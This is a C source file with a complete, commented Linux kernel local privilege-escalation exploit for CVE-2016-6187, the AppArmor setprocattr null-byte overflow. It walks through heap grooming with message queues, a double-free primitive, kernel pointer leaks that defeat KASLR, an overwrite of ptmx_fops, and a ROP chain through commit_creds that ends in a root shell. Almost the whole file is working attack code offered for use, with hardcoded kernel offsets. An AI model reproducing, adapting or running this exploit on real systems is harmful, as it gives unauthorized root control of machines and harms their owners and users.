exploit.c

#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <inttypes.h>
#include <stdbool.h>
#include <string.h>
#include <sched.h>
#include <errno.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>

/*
 * calculated absolute address
 * */
#define aslr_addr(offs) (kptr_kbase + (offs))

/*
 * push a gadget into the rop chain
 * */
#define rop_chain_push_gadget(gadget) \
    rop_chain_second_stage[top_ptr++] = (uintptr_t) (gadget)

#define N_PAGES    (7)
#define N_MESSAGES ((N_PAGES * 4096) / 0x80)
#define MTYPE_DEFAULT 0xdeadbeef
#define NUMSOCK 4

#define PTMX_FOPS_OFFS                     0x110b0c0
#define RFKILL_FDS_OFFS                    0x0ef2b30
#define LOG_BUF_OFFS                       0x1089a30
#define COPY_FROM_USER_OFFS                0x0335c50
#define PREPARE_KERNEL_CRED_OFFS           0x0075370
#define COMMIT_CREDS_OFFS                  0x0074ff0
#define NATIVE_IRQ_RETURN_OFFS             0x08b4d77
#define SOCKFD_LOOKUP_LIGHT_OFFS           0x06c4ef0
#define ROP_PUSH_RDX_POP_RSP_OFFS          0x07bb89a
#define ROP_POP_RDI_OFFS                   0x03eeab2
#define ROP_POP_RSI_RDI_RBP_OFFS           0x0337502
#define ROP_POP_RSI_RBP_OFFS               0x0304e05
#define ROP_POP_RDX_OFFS                   0x04dba43
#define ROP_LEAVE_OFFS                     0x000101d
#define ROP_PUSH_RAX_POP_RBP_OFFS          0x0093592
#define ROP_PUSH_RBP_POP_RDI_RBP_OFFS      0x0166777
#define ROP_SWAPGS_OFFS                    0x08b6188
#define ROP_MOV_RAX_QWORD_PTR_RAX_RDX_OFFS 0x002f2e7
#define ROP_MOV_QWORD_PTR_RAX_RDX_0_OFFS   0x002f9f5

#define PTMX_FOPS                     aslr_addr(PTMX_FOPS_OFFS)
#define RFKILL_FDS                    aslr_addr(RFKILL_FDS_OFFS)
#define LOG_BUF                       aslr_addr(LOG_BUF_OFFS)
#define COPY_FROM_USER                aslr_addr(COPY_FROM_USER_OFFS)
#define PREPARE_KERNEL_CRED           aslr_addr(PREPARE_KERNEL_CRED_OFFS)
#define COMMIT_CREDS                  aslr_addr(COMMIT_CREDS_OFFS)
#define NATIVE_IRQ_RETURN             aslr_addr(NATIVE_IRQ_RETURN_OFFS)
#define SOCKFD_LOOKUP_LIGHT           aslr_addr(SOCKFD_LOOKUP_LIGHT_OFFS)
#define SWAPGS_RESTORE_REGS_IRET      aslr_addr(SWAPGS_RESTORE_REGS_IRET_OFFS)
#define ROP_PUSH_RDX_POP_RSP          aslr_addr(ROP_PUSH_RDX_POP_RSP_OFFS)
#define ROP_POP_RDI                   aslr_addr(ROP_POP_RDI_OFFS)
#define ROP_POP_RSI_RDI_RBP           aslr_addr(ROP_POP_RSI_RDI_RBP_OFFS)
#define ROP_POP_RSI_RBP               aslr_addr(ROP_POP_RSI_RBP_OFFS)
#define ROP_POP_RDX                   aslr_addr(ROP_POP_RDX_OFFS)
#define ROP_LEAVE                     aslr_addr(ROP_LEAVE_OFFS)
#define ROP_PUSH_RAX_POP_RBP          aslr_addr(ROP_PUSH_RAX_POP_RBP_OFFS)
#define ROP_PUSH_RBP_POP_RDI_RBP      aslr_addr(ROP_PUSH_RBP_POP_RDI_RBP_OFFS)
#define ROP_SWAPGS                    aslr_addr(ROP_SWAPGS_OFFS)
#define ROP_MOV_RAX_QWORD_PTR_RAX_RDX aslr_addr(ROP_MOV_RAX_QWORD_PTR_RAX_RDX_OFFS)
#define ROP_MOV_QWORD_PTR_RAX_RDX_0   aslr_addr(ROP_MOV_QWORD_PTR_RAX_RDX_0_OFFS)

#define rop_deref_rax_at(offs) \
    rop_chain_push_gadget(ROP_POP_RDX); \
    rop_chain_push_gadget((offs)); \
    rop_chain_push_gadget(ROP_MOV_RAX_QWORD_PTR_RAX_RDX)

typedef enum status {

    STATUS_SUCCESS,
    STATUS_FAILURE

} status_t;

typedef enum msgsz {

    MSGSZ_64,
    MSGSZ_96,
    MSGSZ_128,
    MSGSZ_ENUM_END

} msgsz_t;

typedef struct msg_buffer {

    long mtype;
    char mtext[0x100];

} msg_buffer_t;

const static size_t msg_request_size[] = {

    [MSGSZ_64]  = 0x01,
    [MSGSZ_96]  = 0x11,
    [MSGSZ_128] = 0x31
};

/*
 * second stage rop chain, populated in runtime
 * */
static uintptr_t rop_chain_second_stage[2048 / sizeof(uintptr_t)];

/*
 * top pointer of rop_chain_second_stage, pointing to the next empty slot
 * */
static int top_ptr = 0;

static inline void id(void) {

    printf("uid=%d, euid=%d\n", getuid(), geteuid());
}

static int message_add(const int msqid, const msgsz_t size, const char* text, const long mtype) {

    msg_buffer_t msgbuf = { 0 };

    if (size < 0 || size >= MSGSZ_ENUM_END)
        return -1;

    msgbuf.mtype = mtype;
    strncpy(msgbuf.mtext, text, strlen(text));

    if (msgsnd(msqid, &msgbuf, msg_request_size[size], IPC_NOWAIT) < 0)
        printf("Could not add message (%d, %s, 0x%lx)\n", msqid, text, mtype);

    return 0;
}

static int message_del(const int msqid, const size_t size, const long mtype, msg_buffer_t* msgbuf) {

    msg_buffer_t* msgp         = msgbuf;
    msg_buffer_t  msgbuf_local = { 0 };

    if (size < 0 || size >= MSGSZ_ENUM_END)
        return -1;

    if (msgbuf == NULL)
        msgp = &msgbuf_local;

    if (msgrcv(msqid, msgp, msg_request_size[size], mtype, IPC_NOWAIT) < 0)
        printf("Could not delete message (%d, 0x%lx)\n", msqid, mtype);

    return 0;
}

static int sock_dgram_mcast(void) {

    int              sock;
    struct ipv6_mreq mc_group;

    if ((sock = socket(AF_INET6, SOCK_DGRAM, 0)) < 0)
        return -1;

    mc_group.ipv6mr_interface = 2;
    inet_pton(AF_INET6, "ffff::9", &mc_group.ipv6mr_multiaddr);

    if (setsockopt(sock, IPPROTO_IPV6, IPV6_JOIN_GROUP, &mc_group, sizeof(mc_group)) != 0) {

        close(sock);
        return -1;
    }

    return sock;
}

static void destroy_mcast_sockets(int* sock, const int numsock) {

    for (int i = 0; i < numsock; i++)
        close(sock[i]);
}

static int create_mcast_sockets(int* sock, const int numsock) {

    for (int i = 0; i < numsock; i++) {

        if ((sock[i] = sock_dgram_mcast()) < 0) {

            destroy_mcast_sockets(sock, i);
            return -1;
        }
    }

    return 0;
}

static void group_filter_init(struct group_filter* gsf, const uint32_t numsrc) {

    struct sockaddr_in6* sin6ptr;

    gsf->gf_interface         = 2;
    gsf->gf_numsrc            = numsrc;
    gsf->gf_fmode             = MCAST_EXCLUDE;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_group;
    sin6ptr->sin6_family = AF_INET6;

    inet_pton(PF_INET6, "ffff::9", &sin6ptr->sin6_addr);
}

static uint64_t rflags(void) {

    asm volatile ("pushf");
    asm volatile ("pop %rax");
}

static void root_shell(void) {

    /*
     * we return here from kernelspace with root creds
     * attached to our previously unprivileged process
     * */

    char* filename = "/bin/sh";
    char* argp[]   = { filename, NULL };
    char* envp[]   = { NULL };

    id();

    printf("[+] Success! Here we go. Spawning a root shell...\n");

    asm volatile (

        "mov %0, %%rdi\n"   // load filename pointer into RDI
        "mov %1, %%rsi\n"   // load argv pointer into RSI
        "mov %2, %%rdx\n"   // load environment pointer into RDX
        "mov $59, %%rax\n"  // select execve (0x3b) syscall
        "syscall\n"         // issue a syscall
        :
        : "r"(filename), "r"(argp), "r"(envp)
        : "%rax", "%rdi", "%rsi", "%rdx"
    );
}

int main(void) {

    cpu_set_t            cpu_set;
    char                 proc_attr_curr[64];
    int                  attr_current_fd, rfkill_fd, tty_fd;
    int                  msqid[2];
    msg_buffer_t         msgbuf = { 0 };
    char                 wbuf[0x80];
    int                  sock[NUMSOCK];
    uint8_t              gsf_block[GROUP_FILTER_SIZE(7)];
    socklen_t            optlen = sizeof(gsf_block);
    struct group_filter* gsf;
    struct sockaddr_in6* sin6ptr;
    uintptr_t            kptr_kmalloc128, kptr_rfkill_fds, kptr_kbase;
    uint64_t             user_stack;
    status_t             exploit_status;

    id();

    printf("Hmmm...Boring unprivileged shell :(\n");
    printf("Let's try to change that!\n");

    /*
     * Pin exploit to CPU 0 since we are about
     * to rely on freelists.
     * */

    CPU_ZERO(&cpu_set);
    CPU_SET(0, &cpu_set);

    sched_setaffinity(0, sizeof(cpu_set_t), &cpu_set);

    /*
     * prepare a few sockets and join a multicast group. We will
     * use the group filter later to leak some kernel pointers.
     * */

    if (create_mcast_sockets(sock, NUMSOCK) < 0) {

        printf("Could not init socket: %s\n", strerror(errno));
        return STATUS_FAILURE;
    }

    gsf = (struct group_filter*) gsf_block;

    /*
     * open /dev/ptmx for later
     * */

    if ((tty_fd = open("/dev/ptmx", O_RDWR)) < 0) {

        printf("Could not open /dev/ptmx\n");
        return STATUS_FAILURE;
    }

    /*
     * prepare everything needed in order to trigger CVE-2016-6187
     * */

    sprintf(proc_attr_curr, "/proc/%d/attr/current", getpid());
    printf("[+] Opening %s...\n", proc_attr_curr);

    if ((attr_current_fd = open(proc_attr_curr, O_RDWR)) < 0) {

        printf("Could not open: %s\n", proc_attr_curr);
        return STATUS_FAILURE;
    }

    /*
     * open two new message queues. We will use them to groom
     * the heap and increase overall exploit reliability.
     * */

    msqid[0] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    printf("[+] Opened new message queue. MSQID=%d\n", msqid[0]);

    msqid[1] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
    printf("[+] Opened new message queue. MSQID=%d\n", msqid[1]);

    /*
     * groom the heap by spamming the kernel with a bunch of messages
     * */

    printf("[+] Populating message queue (kmalloc-128)...\n");

    for (int i = 0; i < N_MESSAGES; i++)
        message_add(msqid[0], MSGSZ_128, "A", MTYPE_DEFAULT);

    message_add(msqid[0], MSGSZ_128, "SECTION 1",   MTYPE_DEFAULT);
    message_add(msqid[0], MSGSZ_128, "TO_BE_FREED", 1);
    message_add(msqid[0], MSGSZ_128, "TO_BE_FREED", 2);
    message_add(msqid[0], MSGSZ_128, "DF / ROP",    3);
    message_add(msqid[0], MSGSZ_128, "TO_BE_FREED", 4);

    message_add(msqid[0], MSGSZ_128, "PADDING",     MTYPE_DEFAULT);

    message_add(msqid[0], MSGSZ_128, "SECTION 2",   MTYPE_DEFAULT);
    message_add(msqid[0], MSGSZ_128, "TO_BE_FREED", 5);
    message_add(msqid[0], MSGSZ_128, "TO_BE_FREED", 6);
    message_add(msqid[0], MSGSZ_128, "DF",          7);
    message_add(msqid[0], MSGSZ_128, "TO_BE_FREED", 8);

    printf("[+] Populating message queue (kmalloc-96)...\n");

    for (int i = 0; i < N_MESSAGES * 2; i++)
        message_add(msqid[1], MSGSZ_96, "A", MTYPE_DEFAULT);

    message_add(msqid[1], MSGSZ_96,  "SECTION 3",   MTYPE_DEFAULT);
    message_add(msqid[1], MSGSZ_96,  "PIVOT",       1);
    message_add(msqid[1], MSGSZ_96,  "PIVOT",       2);
    message_add(msqid[1], MSGSZ_96,  "PIVOT",       3);
    message_add(msqid[1], MSGSZ_96,  "PIVOT",       4);
    message_add(msqid[1], MSGSZ_96,  "PIVOT",       5);

    /*
     * free'ing all messages that were tagged with a free tag.
     *
     * Following part is critical. We try to perform the heap operations as
     * atomic as possible and avoid unnecessary syscalls.
     * */

    memset(wbuf, 'A', 0x80 * sizeof(char));

    message_del(msqid[0], MSGSZ_128, 4, NULL);
    message_del(msqid[0], MSGSZ_128, 2, NULL);
    message_del(msqid[0], MSGSZ_128, 1, NULL);

    /*
     * now quickly allocate the vulnerable buffer and
     * trigger the nullbyte overflow in apparmor_setprocattr!
     *
     * Remember, that the vulnerable buffer will be free'd
     * again once we return from the write syscall.
     * */
    write(attr_current_fd, wbuf, 0x80);

    /*
     * with a bit luck, the previous nullbyte overflow has
     * overwritten the LSB of the freelist next pointer of message #2,
     * so that it now points to the still alloc'd message #3
     *
     * We can then regularly free message #3 in order to escalate
     * to a double-free primitive.
     *
     * The resulting situation is similar to the fastbin dup attack
     * against glibc's ptmalloc-2 allocator.
     *
     * 1 -> 2 -> 4       // non corrupted freelist
     * 1 -> 2 -> 3       // freelist after nullbyte overflow
     * 3 -> 1 -> 2 -> 3  // freelist after free'ing message #3
     *
     * This allows us to allocate two overlapping structures within the
     * kmalloc-128 cache.
     * */

    /*
     * double free message #3 
     * */
    message_del(msqid[0], MSGSZ_128, 3, NULL);

    /*
     * and now allocate a structure that lets us copy back its content
     * to userspace.
     *
     * ip6_sf_socklist is the perfect fit for our needs. It is an elastic object
     * and can be alloc'd via setsockopt using the MCAST_MSFILTER option on the
     * IPPROTO_IPV6 level. Its content can be read back via getsockopt.
     * */

    group_filter_init(gsf, 6);

    if (setsockopt(sock[0], IPPROTO_IPV6, MCAST_MSFILTER, gsf, optlen) != 0)
        printf("setsockopt: %s\n", strerror(errno));

    /*
     * pop message #1 from the freelist
     * */
    message_add(msqid[0], MSGSZ_128, "A", 1);

    /*
     * pop message #2 from the freelist
     * */
    message_add(msqid[0], MSGSZ_128, "A", 2);

    /*
     * The following rfkill_data object will overlap our previously
     * allocated ip6_sf_socklist object, which we will use to leak some
     * rfkill_data pointers back into userspace.
     * */

    if ((rfkill_fd = open("/dev/rfkill", O_RDONLY)) < 0)
        printf("Could not open /dev/rfkill\n");

    /*
     * leaking rfkill_data.list.prev and rfkill_data.events.prev...
     * */
    printf("[+] Leaking kernel pointers...\n");

    if (getsockopt(sock[0], IPPROTO_IPV6, MCAST_MSFILTER, gsf, &optlen) != 0)
        printf("getsockopt: %s\n", strerror(errno));

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[0];
    kptr_rfkill_fds = *((uintptr_t*) &sin6ptr->sin6_addr);

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[1];
    kptr_kmalloc128 = *((uintptr_t*) &sin6ptr->sin6_addr) - 0x10;

    /*
     * we can derive the kernel text base from global
     * data pointers in order to defeat KASLR
     * */
    kptr_kbase = kptr_rfkill_fds - RFKILL_FDS_OFFS;

    if (kptr_rfkill_fds == 0x0) {

        printf("Bad luck. Exploit failed...please retry!\n");
        return STATUS_FAILURE;
    }

    printf(" rfkill_data object (kmalloc-128): %p\n", kptr_kmalloc128);
    printf(" rfkill_fds list head: %p\n", kptr_rfkill_fds);
    printf(" kernel base (derived from rfkill_fds): %p\n", kptr_kbase);

    printf("[+] Going silent now...\n");

    /*
     * we now have all leaks required to initialize the first stage
     * of our rop chain.
     *
     * Note, that the rop chain will be executed after we ioctl
     * on /dev/ptmx, so readers might want to skip the rop section for now.
     * */

    group_filter_init(gsf, 7);

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[0];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[0]) = kptr_kmalloc128 + 0x8;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[0];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[8]) = ROP_POP_RSI_RDI_RBP;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[1];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[0]) = (uintptr_t) rop_chain_second_stage;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[1];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[8]) = LOG_BUF + 2048;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[2];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[0]) = LOG_BUF + 2048;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[2];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[8]) = ROP_POP_RDX;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[3];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[0]) = sizeof(rop_chain_second_stage);

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[3];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[8]) = COPY_FROM_USER;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[4];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[0]) = ROP_LEAVE;

    /*
     * and now the second stage of our rop chain...
     * */

    /*
     * we will first try to repair ptmx_fops since leaving it
     * in a broken state might lead to crashes when the kernel
     * tries to call file operations on /dev/ptmx
     * */

    const uintptr_t ptmx_fops_orig[] = {

        0x0000000000000000,     kptr_kbase + 0x0178af0,
        kptr_kbase + 0x03c1f60, kptr_kbase + 0x03c2050,
        0x0000000000000000,     0x0000000000000000,
        0x0000000000000000,     kptr_kbase + 0x03c1ed0,
        kptr_kbase + 0x03c4310, kptr_kbase + 0x03c1df0,
        0x0000000000000000,     kptr_kbase + 0x03cd610,
        0x0000000000000000,     kptr_kbase + 0x03c3a70,
        0x0000000000000000,     0x0000000000000000,
        kptr_kbase + 0x03c1d90, 0x0000000000000000,
        0x0000000000000000,     0x0000000000000000,
        0x0000000000000000,     0x0000000000000000,
        0x0000000000000000,     0x0000000000000000,
        0x0000000000000000,     0x0000000000000000,
        0x0000000000000000,     0x0000000000000000
    };

    rop_chain_push_gadget(LOG_BUF + 2048);         // pop'd rbp
    rop_chain_push_gadget(ROP_POP_RDI);            // first param to _copy_from_user
    rop_chain_push_gadget(PTMX_FOPS);              // rdi = ptmx_fops
    rop_chain_push_gadget(ROP_POP_RSI_RBP);        // second param to _copy_from_user
    rop_chain_push_gadget(ptmx_fops_orig);         // rsi = ptmx_fops_orig
    rop_chain_push_gadget(LOG_BUF + 2048);         // dummy rbp
    rop_chain_push_gadget(ROP_POP_RDX);            // third param to _copy_from_user
    rop_chain_push_gadget(sizeof(ptmx_fops_orig)); // rdx = size of file_operations
    rop_chain_push_gadget(COPY_FROM_USER);         // call _copy_from_user

    /*
     * NULL out socket.sock.pinet6.ipv6_mc_list.sflist in order
     * to avoid assertion failure when leaving a multicast group
     * on process cleanup
     *
     * the SLUB allocator probably tries to find the page base
     * corresponding to the ip6_sf_socklist object in order to test
     * its page flags. Seems that SLUB expects the PG_head flag to be set
     * or that the page is a tail page (PageCompound) but since we allocate
     * one of the ip6_sf_socklist objects over ptmx_fops, the virt_to_head_page
     * calculation returns a pointer to a page base with bogus flags. This
     * then triggers the sanity check in kfree:
     *
     *   BUG_ON(!PageCompound(page));
     * */

    for (int i = 0; i < NUMSOCK; i++) { // for each opened socket

        rop_chain_push_gadget(ROP_POP_RSI_RDI_RBP); // pop rsi, pop rdi, pop rbp
        rop_chain_push_gadget(LOG_BUF);             // int* err (rsi)
        rop_chain_push_gadget(sock[i]);             // file descriptor (rdi)
        rop_chain_push_gadget(LOG_BUF + 2048);      // dummy rbp, pop'd
        rop_chain_push_gadget(ROP_POP_RDX);         // pop rdx
        rop_chain_push_gadget(LOG_BUF);             // int* fput_needed (rdx)
        rop_chain_push_gadget(SOCKFD_LOOKUP_LIGHT); // call sockfd_lookup_light

        /*
         * rax = struct socket*
         * */

        rop_deref_rax_at(0x20);  // mov rax, [rax + 0x20],  .sock
        rop_deref_rax_at(0x2c0); // mov rax, [rax + 0x2c0], .pinet6
        rop_deref_rax_at(0x58);  // mov rax, [rax + 0x58],  .ipv6_mc_list

        /*
         * rax = struct ipv6_mc_socklist*
         * */

        rop_chain_push_gadget(ROP_POP_RDX);                 // rdx, offset
        rop_chain_push_gadget(0x30);                        // .sflist
        rop_chain_push_gadget(ROP_MOV_QWORD_PTR_RAX_RDX_0); // mov qword ptr [rax + rdx], 0
    }

    /*
     * once the repairment is done, we can try to escalate our privileges to root...
     * */

    rop_chain_push_gadget(ROP_POP_RDI);              // pop rdi
    rop_chain_push_gadget(NULL);                     // struct task_struct*
    rop_chain_push_gadget(PREPARE_KERNEL_CRED);      // prepare_kernel_cred
    rop_chain_push_gadget(ROP_PUSH_RAX_POP_RBP);     // rbp = rax = prepare_kernel_cred
    rop_chain_push_gadget(ROP_PUSH_RBP_POP_RDI_RBP); // rdi = rbp = rax = prepare_kernel_cred
    rop_chain_push_gadget(LOG_BUF + 2048);           // pop'd rbp
    rop_chain_push_gadget(COMMIT_CREDS);             // commit_creds

    /*
     * ...and return to userspace with elevated privileges...
     * */

    rop_chain_push_gadget(ROP_SWAPGS);               // swapgs; ret
    rop_chain_push_gadget(NATIVE_IRQ_RETURN);        // iretq
    rop_chain_push_gadget(root_shell);               // RIP
    rop_chain_push_gadget(0x33);                     // CS (see kernel, __USER_CS)
    rop_chain_push_gadget(rflags());                 // RFLAGS
    rop_chain_push_gadget(&user_stack);              // RSP
    rop_chain_push_gadget(0x2b);                     // DS (SS) (see kernel, __USER_DS)

    /*
     * make some space for the rop chain
     * */
    close(rfkill_fd);

    /*
     * write first stage rop chain into kernelspace. The
     * rop chain will be at kptr_kmalloc128 + 0x8
     * */

    if (setsockopt(sock[3], IPPROTO_IPV6, MCAST_MSFILTER, gsf, GROUP_FILTER_SIZE(7)) != 0)
        printf("setsockopt: %s\n", strerror(errno));

    /*
     * now that we have leaked some kernel pointers and initialized
     * the rop chain, let's try to hijack the control flow by overwriting
     * registered callbacks in ptmx_fops.
     *
     * For that, we need an arbitrary write against ptmx_fops:
     *
     * We will pivot from kmalloc-128 to kmalloc-96, once again, by
     * corrupting the kmalloc-128 freelist and forcing the allocator
     * to return us a 96-byte chunk when we actually request 128-bytes.
     *
     * We can leverage the size mismatch and overflow into the freelist
     * pointer of the adjacent chunk in order to replace it with an
     * arbitrary address - in our case, ptmx_fops.
     *
     * If properly groomed, the next 96-byte allocation will overlap
     * with ptmx_fops, allowing us to overwrite its callbacks.
     * */

    /*
     * 5 -> 6 -> 8      // non corrupted freelist
     * 5 -> 6 -> 7      // freelist after nullbyte overflow
     * 7 -> 5 -> 6 -> 7 // freelist after free'ing message #7
     * */

    message_del(msqid[0], MSGSZ_128, 8, NULL);
    message_del(msqid[0], MSGSZ_128, 6, NULL);
    message_del(msqid[0], MSGSZ_128, 5, NULL);

    /*
     * CVE-2016-6187
     * */
    write(attr_current_fd, wbuf, 0x80);

    /*
     * double free message #7 
     * */
    message_del(msqid[0], MSGSZ_128, 7, NULL);

    /*
     * reclaim message #7 and link it into the end of the queue
     * */
    message_add(msqid[0], MSGSZ_128, "A", 7);

    /*
     * overwrite the freelist next pointer of message #7
     * with the address of one of the pivot messages from
     * the second message queue by...
     * */

    /*
     * ...deleting them from the second queue in reverse order...
     * */
    message_del(msqid[1], MSGSZ_96, 5, NULL);
    message_del(msqid[1], MSGSZ_96, 4, NULL);
    message_del(msqid[1], MSGSZ_96, 3, NULL);
    message_del(msqid[1], MSGSZ_96, 2, NULL);
    message_del(msqid[1], MSGSZ_96, 1, NULL);

    /*
     * ...and linking one of them back into the first queue
     * */
    message_add(msqid[0], MSGSZ_96, "PIVOT", 9);

    /*
     * the kmalloc-128 freelist now looks like this...
     *
     * 5 -> 6 -> 7 -> 9 (kmalloc-96) -> msg_queue.q_messages
     * */

    message_add(msqid[0], MSGSZ_128, "A", 5);
    message_add(msqid[0], MSGSZ_128, "A", 6);
    message_add(msqid[0], MSGSZ_128, "A", 7);

    /*
     * ...and after reclaiming message 5, 6 and 7
     *
     * 9 (kmalloc-96) -> msg_queue.q_messages
     *
     * Now overflow into the next free'd 96-byte chunk in order
     * to overwrite its next pointer and enable arbitrary allocations.
     *
     * Again, we will use the ip6_sf_socklist object. A socklist with
     * 6 elements will be serviced by kmalloc-128.
     * */

    group_filter_init(gsf, 6);

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[5];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[8]) = PTMX_FOPS;

    if (setsockopt(sock[1], IPPROTO_IPV6, MCAST_MSFILTER, gsf, optlen) != 0)
        printf("setsockopt: %s\n", strerror(errno));

    /*
     * allocate the recently overflowed chunk...
     * */
    message_add(msqid[1], MSGSZ_96, "A", MTYPE_DEFAULT);

    /*
     * ...and finally allocate ptmx_fops and set ptmx_fops.unlocked_ioctl
     * to our first rop gadget, which will pivot the stack to the
     * user supplied address in rdx
     *
     * ROP_PUSH_RDX_POP_RSP:
     *   push rdx
     *   mov edx, 0x415bffb7
     *   pop rsp
     *   pop rbp
     *   ret
     * */

    gsf->gf_numsrc = 4;

    sin6ptr = (struct sockaddr_in6*) &gsf->gf_slist[3];
    *((uintptr_t*) &sin6ptr->sin6_addr.__in6_u.__u6_addr8[8]) = ROP_PUSH_RDX_POP_RSP;

    if (setsockopt(sock[2], IPPROTO_IPV6, MCAST_MSFILTER, gsf, GROUP_FILTER_SIZE(4)) != 0)
        printf("setsockopt: %s\n", strerror(errno));

    /*
     * this gap here is a critical section. Let's hope there is
     * no other incoming ioctl on /dev/ptmx
     * */

    /*
     * trigger the rop chain. The address of the fake stack
     * is encoded in rdx (third parameter to ioctl)
     * */
    ioctl(tty_fd, 0xbeef, kptr_kmalloc128 + 0x8);

    return STATUS_SUCCESS;
}